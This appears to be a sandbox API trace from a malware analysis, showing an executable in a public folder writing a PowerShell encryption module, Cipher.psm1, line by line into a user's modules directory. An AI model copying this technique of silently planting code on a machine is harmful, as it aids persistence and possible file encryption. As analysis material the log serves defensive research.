lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0063.172] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x110) returned 0x601ba8 [0063.172] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x601ba8, Size=0x6e) returned 0x601ba8 [0063.172] GetProcessHeap () returned 0x5d0000 [0063.172] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x601ba8) returned 0x6e [0063.172] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x96) returned 0x601c20 [0063.172] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1cdf90 | out: _Buffer=" if($PSBoundParameters.ContainsKey('CipherMode')){ \r\n") returned 66 [0063.172] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.173] GetFileType (hFile=0x1c) returned 0x1 [0063.173] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.173] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" if($PSBoundParameters.ContainsKey('CipherMode')){ \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" if($PSBoundParameters.ContainsKey('CipherMode')){ \r\n", lpUsedDefaultChar=0x0) returned 67 [0063.173] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x42, lpNumberOfBytesWritten=0x1cdf7c, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1cdf7c*=0x42, lpOverlapped=0x0) returned 1 [0063.173] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0063.174] _close (_FileHandle=3) returned 0 [0063.175] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5eb228 [0063.175] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.175] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.175] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.175] GetFileType (hFile=0x7) returned 0x2 [0063.175] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0063.175] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1ce164 | out: lpMode=0x1ce164) returned 1 [0063.176] _dup (_FileHandle=1) returned 3 [0063.176] _close (_FileHandle=1) returned 0 [0063.176] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0063.176] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1ce134, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0063.177] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0063.177] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.177] GetFileType (hFile=0x1c) returned 0x1 [0063.177] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xae0 [0063.177] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1ce14c*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ce14c*=0) returned 0xadf [0063.177] ReadFile (in: hFile=0x1c, lpBuffer=0x1ce144, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ce140, lpOverlapped=0x0 | out: lpBuffer=0x1ce144*, lpNumberOfBytesRead=0x1ce140*=0x1, lpOverlapped=0x0) returned 1 [0063.177] GetConsoleTitleW (in: lpConsoleTitle=0x1cdf64, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0063.177] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xc8) returned 0x601cc0 [0063.177] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x601cc0, Size=0x40) returned 0x601cc0 [0063.177] GetProcessHeap () returned 0x5d0000 [0063.177] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x601cc0) returned 0x40 [0063.178] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x72) returned 0x5ebfd8 [0063.178] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1cdf2c | out: _Buffer=" $Crypto.Mode = $CipherMode } \r\n") returned 48 [0063.178] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.178] GetFileType (hFile=0x1c) returned 0x1 [0063.178] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.178] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" $Crypto.Mode = $CipherMode } \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" $Crypto.Mode = $CipherMode } \r\n", lpUsedDefaultChar=0x0) returned 49 [0063.178] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x1cdf18, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1cdf18*=0x30, lpOverlapped=0x0) returned 1 [0063.178] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0063.180] _close (_FileHandle=3) returned 0 [0063.180] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5eb248 [0063.180] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.180] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.180] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.180] GetFileType (hFile=0x7) returned 0x2 [0063.181] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0063.181] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1ce100 | out: lpMode=0x1ce100) returned 1 [0063.181] _dup (_FileHandle=1) returned 3 [0063.182] _close (_FileHandle=1) returned 0 [0063.182] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0063.182] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1ce0d0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0063.182] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0063.182] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.182] GetFileType (hFile=0x1c) returned 0x1 [0063.182] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xb10 [0063.182] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1ce0e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ce0e8*=0) returned 0xb0f [0063.183] ReadFile (in: hFile=0x1c, lpBuffer=0x1ce0e0, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ce0dc, lpOverlapped=0x0 | out: lpBuffer=0x1ce0e0*, lpNumberOfBytesRead=0x1ce0dc*=0x1, lpOverlapped=0x0) returned 1 [0063.183] GetConsoleTitleW (in: lpConsoleTitle=0x1cdf00, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0063.185] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x110) returned 0x604fd8 [0063.185] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x604fd8, Size=0x70) returned 0x604fd8 [0063.185] GetProcessHeap () returned 0x5d0000 [0063.185] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x604fd8) returned 0x70 [0063.185] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x96) returned 0x601d08 [0063.186] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1cdec8 | out: _Buffer=" if($PSBoundParameters.ContainsKey('PaddingMode')){ \r\n") returned 66 [0063.186] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.186] GetFileType (hFile=0x1c) returned 0x1 [0063.186] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.186] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" if($PSBoundParameters.ContainsKey('PaddingMode')){ \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" if($PSBoundParameters.ContainsKey('PaddingMode')){ \r\n", lpUsedDefaultChar=0x0) returned 67 [0063.186] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x42, lpNumberOfBytesWritten=0x1cdeb4, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1cdeb4*=0x42, lpOverlapped=0x0) returned 1 [0063.186] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0063.188] _close (_FileHandle=3) returned 0 [0063.188] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5eb268 [0063.188] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.188] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.188] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.188] GetFileType (hFile=0x7) returned 0x2 [0063.188] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0063.188] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1ce09c | out: lpMode=0x1ce09c) returned 1 [0063.189] _dup (_FileHandle=1) returned 3 [0063.189] _close (_FileHandle=1) returned 0 [0063.190] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0063.190] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1ce06c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0063.190] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0063.190] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.190] GetFileType (hFile=0x1c) returned 0x1 [0063.190] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xb52 [0063.190] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1ce084*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ce084*=0) returned 0xb51 [0063.190] ReadFile (in: hFile=0x1c, lpBuffer=0x1ce07c, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ce078, lpOverlapped=0x0 | out: lpBuffer=0x1ce07c*, lpNumberOfBytesRead=0x1ce078*=0x1, lpOverlapped=0x0) returned 1 [0063.190] GetConsoleTitleW (in: lpConsoleTitle=0x1cde9c, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0063.190] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xd8) returned 0x605050 [0063.190] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x605050, Size=0x48) returned 0x605050 [0063.190] GetProcessHeap () returned 0x5d0000 [0063.190] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x605050) returned 0x48 [0063.190] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x7a) returned 0x6050a0 [0063.190] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1cde64 | out: _Buffer=" $Crypto.Padding = $PaddingMode } \r\n") returned 52 [0063.191] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.191] GetFileType (hFile=0x1c) returned 0x1 [0063.191] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.191] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" $Crypto.Padding = $PaddingMode } \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" $Crypto.Padding = $PaddingMode } \r\n", lpUsedDefaultChar=0x0) returned 53 [0063.191] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0x1cde50, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1cde50*=0x34, lpOverlapped=0x0) returned 1 [0063.191] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0063.192] _close (_FileHandle=3) returned 0 [0063.193] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5eb288 [0063.193] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.193] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.193] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.193] GetFileType (hFile=0x7) returned 0x2 [0063.193] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0063.193] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1ce038 | out: lpMode=0x1ce038) returned 1 [0063.194] _dup (_FileHandle=1) returned 3 [0063.194] _close (_FileHandle=1) returned 0 [0063.194] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0063.194] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1ce008, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0063.195] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0063.195] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.195] GetFileType (hFile=0x1c) returned 0x1 [0063.195] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xb86 [0063.195] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1ce020*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ce020*=0) returned 0xb85 [0063.195] ReadFile (in: hFile=0x1c, lpBuffer=0x1ce018, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ce014, lpOverlapped=0x0 | out: lpBuffer=0x1ce018*, lpNumberOfBytesRead=0x1ce014*=0x1, lpOverlapped=0x0) returned 1 [0063.195] GetConsoleTitleW (in: lpConsoleTitle=0x1cde38, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0063.195] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xec) returned 0x605128 [0063.195] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x605128, Size=0x5a) returned 0x605128 [0063.195] GetProcessHeap () returned 0x5d0000 [0063.195] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x605128) returned 0x5a [0063.195] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x84) returned 0x605190 [0063.195] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1cde00 | out: _Buffer=" $Crypto.KeySize = $EncryptionKey.Length*8 \r\n") returned 57 [0063.195] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.195] GetFileType (hFile=0x1c) returned 0x1 [0063.195] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.196] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" $Crypto.KeySize = $EncryptionKey.Length*8 \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" $Crypto.KeySize = $EncryptionKey.Length*8 \r\n", lpUsedDefaultChar=0x0) returned 58 [0063.196] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x39, lpNumberOfBytesWritten=0x1cddec, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1cddec*=0x39, lpOverlapped=0x0) returned 1 [0063.196] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0063.200] _close (_FileHandle=3) returned 0 [0063.200] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5eb2a8 [0063.200] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.200] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.200] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.200] GetFileType (hFile=0x7) returned 0x2 [0063.200] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0063.201] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cdfd4 | out: lpMode=0x1cdfd4) returned 1 [0063.201] _dup (_FileHandle=1) returned 3 [0063.201] _close (_FileHandle=1) returned 0 [0063.202] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0063.202] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1cdfa4, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0063.202] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0063.202] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.202] GetFileType (hFile=0x1c) returned 0x1 [0063.202] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xbbf [0063.202] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1cdfbc*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cdfbc*=0) returned 0xbbe [0063.202] ReadFile (in: hFile=0x1c, lpBuffer=0x1cdfb4, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cdfb0, lpOverlapped=0x0 | out: lpBuffer=0x1cdfb4*, lpNumberOfBytesRead=0x1cdfb0*=0x1, lpOverlapped=0x0) returned 1 [0063.202] GetConsoleTitleW (in: lpConsoleTitle=0x1cddd4, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0063.202] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xc0) returned 0x605220 [0063.202] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x605220, Size=0x44) returned 0x605220 [0063.202] GetProcessHeap () returned 0x5d0000 [0063.202] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x605220) returned 0x44 [0063.203] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x6e) returned 0x5fd470 [0063.203] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1cdd9c | out: _Buffer=" $Crypto.Key = $EncryptionKey } \r\n") returned 46 [0063.203] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.203] GetFileType (hFile=0x1c) returned 0x1 [0063.203] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.203] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" $Crypto.Key = $EncryptionKey } \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" $Crypto.Key = $EncryptionKey } \r\n", lpUsedDefaultChar=0x0) returned 47 [0063.203] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x2e, lpNumberOfBytesWritten=0x1cdd88, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1cdd88*=0x2e, lpOverlapped=0x0) returned 1 [0063.203] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0063.204] _close (_FileHandle=3) returned 0 [0063.205] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5eb2c8 [0063.205] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.205] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.205] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.205] GetFileType (hFile=0x7) returned 0x2 [0063.205] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0063.205] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cdf70 | out: lpMode=0x1cdf70) returned 1 [0063.206] _dup (_FileHandle=1) returned 3 [0063.206] _close (_FileHandle=1) returned 0 [0063.206] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0063.206] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1cdf40, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0063.207] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0063.207] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.207] GetFileType (hFile=0x1c) returned 0x1 [0063.207] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xbed [0063.207] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1cdf58*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cdf58*=0) returned 0xbec [0063.207] ReadFile (in: hFile=0x1c, lpBuffer=0x1cdf50, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cdf4c, lpOverlapped=0x0 | out: lpBuffer=0x1cdf50*, lpNumberOfBytesRead=0x1cdf4c*=0x1, lpOverlapped=0x0) returned 1 [0063.207] GetConsoleTitleW (in: lpConsoleTitle=0x1cdd70, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0063.207] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x110) returned 0x605270 [0063.207] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x605270, Size=0x64) returned 0x605270 [0063.207] GetProcessHeap () returned 0x5d0000 [0063.207] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x605270) returned 0x64 [0063.207] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x96) returned 0x6052e0 [0063.207] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1cdd38 | out: _Buffer=" Catch { Write-Error $_ -ErrorAction Stop } } \r\n") returned 66 [0063.207] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.207] GetFileType (hFile=0x1c) returned 0x1 [0063.207] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.208] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" Catch { Write-Error $_ -ErrorAction Stop } } \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" Catch { Write-Error $_ -ErrorAction Stop } } \r\n", lpUsedDefaultChar=0x0) returned 67 [0063.208] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x42, lpNumberOfBytesWritten=0x1cdd24, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1cdd24*=0x42, lpOverlapped=0x0) returned 1 [0063.208] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0063.209] _close (_FileHandle=3) returned 0 [0063.209] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5eb2e8 [0063.209] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.209] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.209] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.209] GetFileType (hFile=0x7) returned 0x2 [0063.210] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0063.210] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cdf0c | out: lpMode=0x1cdf0c) returned 1 [0063.210] _dup (_FileHandle=1) returned 3 [0063.210] _close (_FileHandle=1) returned 0 [0063.211] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0063.211] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1cdedc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0063.211] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0063.211] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.211] GetFileType (hFile=0x1c) returned 0x1 [0063.211] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xc2f [0063.211] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1cdef4*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cdef4*=0) returned 0xc2e [0063.211] ReadFile (in: hFile=0x1c, lpBuffer=0x1cdeec, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cdee8, lpOverlapped=0x0 | out: lpBuffer=0x1cdeec*, lpNumberOfBytesRead=0x1cdee8*=0x1, lpOverlapped=0x0) returned 1 [0063.211] GetConsoleTitleW (in: lpConsoleTitle=0x1cdd0c, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0063.212] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5fee30 [0063.212] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5fee30, Size=0x1e) returned 0x5fc180 [0063.212] GetProcessHeap () returned 0x5d0000 [0063.212] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x5fc180) returned 0x1e [0063.212] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x3a) returned 0x5f53d0 [0063.212] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1cdcd4 | out: _Buffer=" Process { \r\n") returned 20 [0063.212] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.212] GetFileType (hFile=0x1c) returned 0x1 [0063.212] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.212] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" Process { \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" Process { \r\n", lpUsedDefaultChar=0x0) returned 21 [0063.212] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x1cdcc0, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1cdcc0*=0x14, lpOverlapped=0x0) returned 1 [0063.212] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0063.214] _close (_FileHandle=3) returned 0 [0063.214] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5eb308 [0063.214] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.214] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.214] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.214] GetFileType (hFile=0x7) returned 0x2 [0063.215] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0063.215] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cdea8 | out: lpMode=0x1cdea8) returned 1 [0063.215] _dup (_FileHandle=1) returned 3 [0063.215] _close (_FileHandle=1) returned 0 [0063.216] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0063.216] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, 